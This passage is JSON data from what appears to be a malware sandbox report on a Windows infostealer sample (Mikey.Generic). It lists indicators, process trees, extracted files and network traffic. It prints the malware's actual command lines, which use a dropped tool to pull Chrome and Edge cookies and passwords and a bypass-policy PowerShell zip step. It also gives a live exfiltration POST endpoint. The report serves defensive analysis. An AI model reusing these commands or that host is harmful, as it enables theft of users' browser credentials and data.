\"\\Device\\HarddiskVolume2\\Users\\HAPUBWS\\AppData\\Local\\Temp\\chromelevator.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004036.00000000.208379.3C3D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004036.00000000.208379.99B4A000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"PL91A2.tmp\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"PL91A2.tmp\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"�n)\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: PL91A2.tmp]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\" nul\" (UID: 00000000-00002908)\n Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00007956)\n Spawned process \"chromelevator.exe\" with commandline \"chrome --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Chrome_raw\" --kill\" (UID: 00000000-00004036)\n Spawned process \"chromelevator.exe\" with commandline \"edge --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Edge_raw\" --kill\" (UID: 00000000-00004896)\n Spawned process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -Path '%TEMP%\\\\\\\\Winapi\\\\*' -DestinationPath '%TEMP%\\\\\\\\win.zip' -Force\"\" (UID: 00000000-00006024)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"POSTs data to a web server"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Attempts to identify external IP address"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}]},"activity":{"stats":{"process_count":9,"spawned_processes_count":9,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":14,"imported_dlls_count":101,"dropped_files_count":0,"extracted_files_count":16,"files_written_count":40,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["sabsik","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69dc312f0c09d771c20662a6","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Mikey","contacted_countries":["USA"],"submit_name":"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin","analysis_start_time":"2026-04-12T23:56:32+00:00","indicators_count":{"informative":212,"suspicious":62,"malicious":17},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.26.13.205","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"address":"150.241.92.37","port":5021,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}],"dns_resolutions":[{"domain":"api.ipify.org","address":"104.26.13.205","ttl":63,"country":"-","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}],"http_requests":[{"host":"api.ipify.org","host_ip":"104.26.13.205:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nUser-Agent: Kortex\nHost: api.ipify.org\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"host":"150.241.92.37:5021","host_ip":"150.241.92.37:5021","url":"/getlog/s/08oFdi40aT0t","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /getlog/s/08oFdi40aT0t HTTP/1.1\nContent-Type: application/octet-stream\nContent-Length: 386000\npcName: FA49926A//en-US\nUser-Agent: wininet/1.0\nHost: 150.241.92.37:5021\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}],"processes":[{"pid":4792,"ppid":0,"name":"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin.exe","command_line":"","sha256":"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338","normalized_path":"C:\\69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin.exe","uid":"00000000-00004792","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4140,"ppid":4792,"name":"PL91A2.tmp","command_line":"","sha256":"73e0812748cac198cad890d34e19968820fcc928987843019e1ad9abffcf9fa8","normalized_path":"%TEMP%\\PL91A2.tmp","parent_uid":"00000000-00004792","uid":"00000000-00004140"},{"pid":2908,"ppid":4140,"name":"cmd.exe","command_line":"/c chcp 65001 > nul","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004140","uid":"00000000-00002908"},{"pid":7956,"ppid":2908,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00002908","uid":"00000000-00007956"},{"pid":4036,"ppid":4140,"name":"chromelevator.exe","command_line":"chrome --output-path \"%TEMP%\\\\Winapi\\Browsers\\Chrome_raw\" --kill","sha256":"a95ad2f5dec66f6ce6c7ab58d158b64225437e42e2397b8f958bfa507ebb7dbe","normalized_path":"%TEMP%\\chromelevator.exe","parent_uid":"00000000-00004140","uid":"00000000-00004036"},{"pid":6716,"ppid":4036,"name":"chrome.exe","command_line":"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004036","uid":"00000000-00006716"},{"pid":4896,"ppid":4140,"name":"chromelevator.exe","command_line":"edge --output-path \"%TEMP%\\\\Winapi\\Browsers\\Edge_raw\" --kill","sha256":"a95ad2f5dec66f6ce6c7ab58d158b64225437e42e2397b8f958bfa507ebb7dbe","normalized_path":"%TEMP%\\chromelevator.exe","parent_uid":"00000000-00004140","uid":"00000000-00004896"},{"pid":4516,"ppid":4896,"name":"msedge.exe","command_line":"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004896","uid":"00000000-00004516"},{"pid":6024,"ppid":4140,"name":"powershell.exe","command_line":"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -Path '%TEMP%\\\\Winapi\\*' -DestinationPath '%TEMP%\\\\win.zip' -Force\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004140","uid":"00000000-00006024"}],"all_imported_dlls":["KernelBase.dll","rsaenh.dll","IPHLPAPI.DLL","System.Core.ni.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","wintrust.dll","MpOAV.dll","System.Data.dll","kernel32.dll","fltLib.dll","win32u.dll","windows.storage.dll","powrprof.dll","OnDemandConnRouteHelper.dll","Microsoft.Management.Infrastructure.ni.dll","System.IO.Compression.FileSystem.ni.dll","bcrypt.dll","apphelp.dll","sechost.dll","ucrtbase.dll","secur32.dll","msvcrt.dll","imagehlp.dll","psapi.dll","System.ni.dll","System.Xml.ni.dll","System.Transactions.dll","sppc.dll","Microsoft.PowerShell.Commands.Management.ni.dll","mscoreei.dll","amsi.dll","clrcompression.dll","VxSSL64.dll","rasadhlp.dll","mscoree.dll","vcruntime140_clr0400.dll","System.Configuration.ni.dll","msIso.dll","rpcrt4.dll","ws2_32.dll","msasn1.dll","SHCore.dll","profapi.dll","wininet.dll","atl.dll","ntdll.dll","advapi32.dll","shlwapi.dll","cfgmgr32.dll","System.DirectoryServices.ni.dll","System.Data.ni.dll","System.Numerics.ni.dll","wldp.dll","imm32.dll","cryptbase.dll","iertutil.dll","System.Management.ni.dll","ole32.dll","bcryptprimitives.dll","uxtheme.dll","chrome_elf.dll","System.Transactions.ni.dll","MpClient.dll","slc.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","gdi32full.dll","dnsapi.dll","msedge_elf.dll","userenv.dll","Microsoft.PowerShell.Security.ni.dll","oleaut32.dll","shell32.dll","sspicli.dll","winnsi.dll","mscorlib.ni.dll","System.Management.Automation.ni.dll","g7v6Sfj6.dll","user32.dll","kernel.appcore.dll","clbcatq.dll","sxs.dll","clr.dll","clrjit.dll","System.IO.Compression.ni.dll","cryptsp.dll","gdi32.dll","msvcp_win.dll","combase.dll","FWPUCLNT.DLL","ulib.dll","System.Configuration.Install.ni.dll","nsi.dll","urlmon.dll","crypt32.dll","winhttp.dll","mswsock.dll","ntmarta.dll","fsutilext.dll","version.dll","ucrtbase_clr0400.dll","gpapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"PL91A2.tmp","sha256":"73e0812748cac198cad890d34e19968820fcc928987843019e1ad9abffcf9fa8","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"chromelevator.exe","sha256":"a95ad2f5dec66f6ce6c7ab58d158b64225437e42e2397b8f958bfa507ebb7dbe","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Firefox_Cookies.txt","sha256":"1e6ce70b53f6d6b26bb4296e3f6cc0ae39c1a383b15366424863a80189e6ffcd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"win.zip","sha256":"d9fb13284fc17830900e083718e6049a44b7ea53e7402129688ead2a07628452","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"X4G6SZ18.txt","sha256":"bf60bbc4c462ceddf8f2a757275522079d1ed815f04e04118a04effae90e282d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Chrome_Chrome_Default_cookies.json","sha256":"30661678d257e6bb664be087e3401ce21522b45a793ed0669ea09889da4f3ed5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Chrome_Cookies.txt","sha256":"8c6ace616729c160f4e4725968a3076d38c82902dd183386aab3ddb62bbaca8c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Edge_Cookies.txt","sha256":"722c85511fb05947c6ba22390a507f38a5c6528c05cb144b400da2f3b0f10f7f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Edge_Edge_Default_cookies.json","sha256":"f962b880a05a51d625c4f2795d574b9048af2ed015a3924ae9bcd89259f1bf4f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Firefox_Autofill.txt","sha256":"fddfe7fc8acd4a15ebfa72ec504f2d1a61c5a2c9b56a9ccb5c3a17f83019fd31","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Firefox_cookies_temp.db","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Firefox_formhistory_temp.db","sha256":"dcbf13bb10e2680331097a289b14a86edea1a3a3155cd354e07c93c4cdb65c6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Screenshot.bmp","sha256":"f075eaadcb27ff89146be8c0a6a1839b22e06ea30fa5c5c93de0fff489336a54","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"System.txt","sha256":"2d2a254dca938da53e95c65442bb79daa1930bed68fd67e9590d9ce050717074","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"stub_debug.log","sha256":"f444b0fdbdcce23f8eda1f576cb3d40b8dbae8b80b4844e8254bb489d1d08496","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"C:\\stub_debug.log","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\PL91A2.tmp","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\X4G6SZ18.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\System.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\chromelevator.exe","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Chrome_Chrome_Default_cookies.json","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Chrome_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Edge_Edge_Default_cookies.json","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Edge_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_cookies_temp.db","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_cookies_temp.db-wal","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_cookies_temp.db-shm","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_formhistory_temp.db","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_Autofill.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\AllPass.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Cookies\\Chrome_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Cookies","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Cookies\\Edge_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Cookies\\Firefox_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Cards.txt","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Screenshot.bmp","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Chrome_raw","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Edge_raw","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_br2rytib.zfi.ps1","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_z2a41qrv.3sr.psm1","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"path":"%TEMP%\\win.zip","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4140:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4140:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"SM0:4140:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Local\\SM0:4140:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"Local\\SM0:6024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"SM0:6024:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"SM0:6024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6024:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]}]}},"report_ids":{"sandbox_job_ids":["69dc312f0c09d771c20662a6"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Mikey.Generic Sample 69e8aa04b0b1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 69e8aa04b0b1…. Malware family: Mikey.Generic. Threat score 100/100. 14/27 AV engines flagged this file. 17 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338"}],["$","meta","4",{"property":"og:title","content":"Malicious Mikey.Generic Sample 69e8aa04b0b1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 69e8aa04b0b1…. Malware family: Mikey.Generic. Threat score 100/100. 14/27 AV engines flagged this file. 17 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Mikey.Generic Sample 69e8aa04b0b1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 69e8aa04b0b1…. Malware family: Mikey.Generic. Threat score 100/100. 14/27 AV engines flagged this file. 17 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L62","11",{}]]